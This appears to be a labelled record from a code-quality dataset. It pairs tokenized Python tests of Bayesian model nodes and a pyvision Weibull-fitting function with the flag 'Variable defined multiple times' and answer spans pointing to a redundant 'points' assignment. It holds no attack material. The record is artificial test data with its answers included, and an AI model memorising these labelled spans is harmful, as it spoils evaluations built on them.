"2_", ",_", "1_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "mu_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Simple_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mu_", "=_", "Gaussian", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "random_", "._", "covariance_", "(_", "3_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Plat", "es_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mu_", "=_", "Gaussian", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "5_", ",_", "6_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "random_", "._", "covariance_", "(_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", "6_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Plat", "es", " ", "with", " ", "moments", " ", "broadcast", "ed", " ", "over", " ", "plates", "_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mu_", "=_", "Gaussian", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "random_", "._", "covariance_", "(_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mu_", "=_", "Gaussian", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "1_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "random_", "._", "covariance_", "(_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Plat", "es", " ", "broadcast", "ing_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mu_", "=_", "Gaussian", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "random_", "._", "covariance_", "(_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mu_", "=_", "Gaussian", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "1_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "random_", "._", "covariance_", "(_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "1_", ",_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "Lambda_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Simple_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Lambda_", "=_", "Wis", "hart", "_", "(_", "10_", "+_", "np_", "._", "random_", "._", "rand_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "random_", "._", "covariance_", "(_", "3_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Plat", "es_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Lambda_", "=_", "Wis", "hart", "_", "(_", "10_", "+_", "np_", "._", "random_", "._", "rand_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "random_", "._", "covariance_", "(_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", "6_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Plat", "es", " ", "with", " ", "moments", " ", "broadcast", "ed", " ", "over", " ", "plates", "_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Lambda_", "=_", "Wis", "hart", "_", "(_", "10_", "+_", "np_", "._", "random_", "._", "rand_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "random_", "._", "covariance_", "(_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Lambda_", "=_", "Wis", "hart", "_", "(_", "10_", "+_", "np_", "._", "random_", "._", "rand_", "(_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "random_", "._", "covariance_", "(_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Plat", "es", " ", "broadcast", "ing_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Lambda_", "=_", "Wis", "hart", "_", "(_", "10_", "+_", "np_", "._", "random_", "._", "rand_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "random_", "._", "covariance_", "(_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Lambda_", "=_", "Wis", "hart", "_", "(_", "10_", "+_", "np_", "._", "random_", "._", "rand_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "random_", "._", "covariance_", "(_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "1_", ",_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "B_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Simple_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "B_", "=_", "Gaussian", "ARD", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "3_", ",_", "3_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "3_", ",_", "3_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "shape_", "=_", "(_", "3_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "3_", ",_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Plat", "es_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "B_", "=_", "Gaussian", "ARD", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "5_", ",_", "6_", ",_", "3_", ",_", "3_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "5_", ",_", "6_", ",_", "3_", ",_", "3_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "shape_", "=_", "(_", "3_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", "6_", ",_", "3_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Plat", "es", " ", "with", " ", "moments", " ", "broadcast", "ed", " ", "over", " ", "plates", "_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "B_", "=_", "Gaussian", "ARD", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "3_", ",_", "3_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "3_", ",_", "3_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "shape_", "=_", "(_", "3_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", "3_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "B_", "=_", "Gaussian", "ARD", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "1_", ",_", "3_", ",_", "3_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "1_", ",_", "3_", ",_", "3_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "shape_", "=_", "(_", "3_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", "3_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Plat", "es", " ", "broadcast", "ing_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "B_", "=_", "Gaussian", "ARD", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "3_", ",_", "3_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "3_", ",_", "3_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "shape_", "=_", "(_", "3_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "3_", ",_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "B_", "=_", "Gaussian", "ARD", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "3_", ",_", "3_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "3_", ",_", "3_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "shape_", "=_", "(_", "3_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "1_", ",_", "3_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "S_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Simple_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "S_", "=_", "Gaussian", "ARD", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "4_", "-_", "1_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "4_", "-_", "1_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "shape_", "=_", "(_", "2_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "4_", "-_", "1_", ",_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Plat", "es_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "S_", "=_", "Gaussian", "ARD", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "5_", ",_", "6_", ",_", "4_", "-_", "1_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "5_", ",_", "6_", ",_", "4_", "-_", "1_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "shape_", "=_", "(_", "2_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", "6_", ",_", "4_", "-_", "1_", ",_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Plat", "es", " ", "with", " ", "moments", " ", "broadcast", "ed", " ", "over", " ", "plates", "_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "S_", "=_", "Gaussian", "ARD", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "4_", "-_", "1_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "4_", "-_", "1_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "shape_", "=_", "(_", "2_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", "4_", "-_", "1_", ",_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "S_", "=_", "Gaussian", "ARD", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "1_", ",_", "4_", "-_", "1_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "1_", ",_", "4_", "-_", "1_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "shape_", "=_", "(_", "2_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", "4_", "-_", "1_", ",_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Plat", "es", " ", "broadcast", "ing_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "S_", "=_", "Gaussian", "ARD", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "4_", "-_", "1_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "4_", "-_", "1_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "shape_", "=_", "(_", "2_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "4_", "-_", "1_", ",_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "S_", "=_", "Gaussian", "ARD", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "4_", "-_", "1_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "4_", "-_", "1_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "shape_", "=_", "(_", "2_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "1_", ",_", "4_", "-_", "1_", ",_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "v_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Simple_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "V_", "=_", "Gamma", "_", "(_", "np_", "._", "random_", "._", "rand_", "(_", "1_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "1_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "1_", ",_", "3_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "V_", "=_", "Gamma", "_", "(_", "np_", "._", "random_", "._", "rand_", "(_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "3_", ",_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Plat", "es_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "V_", "=_", "Gamma", "_", "(_", "np_", "._", "random_", "._", "rand_", "(_", "5_", ",_", "6_", ",_", "1_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "5_", ",_", "6_", ",_", "1_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", "6_", ",_", "1_", ",_", "3_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Plat", "es", " ", "with", " ", "moments", " ", "broadcast", "ed", " ", "over", " ", "plates", "_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "V_", "=_", "Gamma", "_", "(_", "np_", "._", "random_", "._", "rand_", "(_", "1_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "1_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", "1_", ",_", "3_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "V_", "=_", "Gamma", "_", "(_", "np_", "._", "random_", "._", "rand_", "(_", "1_", ",_", "1_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "1_", ",_", "1_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", "1_", ",_", "3_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Plat", "es", " ", "broadcast", "ing_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "V_", "=_", "Gamma", "_", "(_", "np_", "._", "random_", "._", "rand_", "(_", "1_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "1_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "1_", ",_", "3_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "5_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "V_", "=_", "Gamma", "_", "(_", "np_", "._", "random_", "._", "rand_", "(_", "1_", ",_", "1_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "1_", ",_", "1_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "1_", ",_", "1_", ",_", "3_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Unc", "erta", "int", "y", " ", "in", " ", "bot", "h", " ", "B", " ", "and", " ", "S_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "check_", "(_", "4_", ",_", "3_", ",_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "B_", "=_", "Gaussian", "ARD", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "3_", ",_", "3_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "3_", ",_", "3_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "shape_", "=_", "(_", "3_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "3_", ",_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "S_", "=_", "Gaussian", "ARD", "_", "(_", "np_", "._", "random_", "._", "randn_", "(_", "4_", "-_", "1_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "random_", "._", "rand_", "(_", "4_", "-_", "1_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "shape_", "=_", "(_", "2_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "4_", "-_", "1_", ",_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2 ]
Variable defined multiple times
bolme/pyvision/src/pyvision/analysis/stats.py
[ { "content": "def fitWeibull(x,ilog=None):\n '''\n Emperically fit a Weibull distribution to x \n \n @param x: a list containing the x.\n @type x: a list of floats\n @param ilog: an image log to save fit information.\n @type ilog: pv.ImageLog\n @returns: (k,lambda) \n '''\n x = np.array(x)\n assert x.min() >= 0.0\n \n n = len(x)\n\n def nll(params):\n ''' Negative log liklyhood'''\n shape,scale = params\n \n mask = x > 0\n pdf = pdfWeibull(x, shape, scale)\n #pdf = (shape/scale)*((x/scale)**(shape-1))*np.exp(-(x/scale)**shape)\n ll = np.log(pdf[mask]).sum()\n t1 = (~mask).sum()\n ll += t1*np.log(0.000001)\n\n return -ll/len(x)\n\n tmp = sp.optimize.fmin(nll,[1.0,np.mean(x)],disp=0)\n shape,scale = tmp\n \n if ilog != None:\n # Plot the CDF\n order = x.argsort()\n x = x[order]\n del order\n \n points = [0,0]\n points = [[0,0]] + [ [x[i],float(i)/n] for i in range(n)]\n plot = pv.Plot(title=\"Weibull CDF\")\n plot.points(points)\n \n #cdf = cdfWeibull(x, shape, scale)\n \n lines = [[0,0]] + [ [x[i],cdfWeibull(x[i], shape, scale)] for i in range(n)]\n plot.lines(lines)\n ilog(plot,\"WeibullCDF\")\n\n plot = pv.Plot(title=\"Weibull PDF\")\n y = pdfWeibull(x, shape, scale)\n points = np.array([x,y]).reshape(2,n).T\n plot.lines(points,color='red',width=3)\n \n hist, bins = np.histogram(x, 5, normed=True)\n \n t1 = 0.5*(bins[:-1] + bins[1:])\n points = np.array([t1,hist]).reshape(2,5).T\n plot.lines(points,color='blue',width=3)\n ilog(plot,\"WeibullPDF\")\n \n \n return shape,scale", "metadata": "root.fitWeibull", "header": "['module', '___EOS___']", "index": 204 } ]
[ { "span": "points ", "start_line": 241, "start_column": 8, "end_line": 241, "end_column": 14 } ]
[ { "span": "points ", "start_line": 242, "start_column": 8, "end_line": 242, "end_column": 14 } ]
1
true
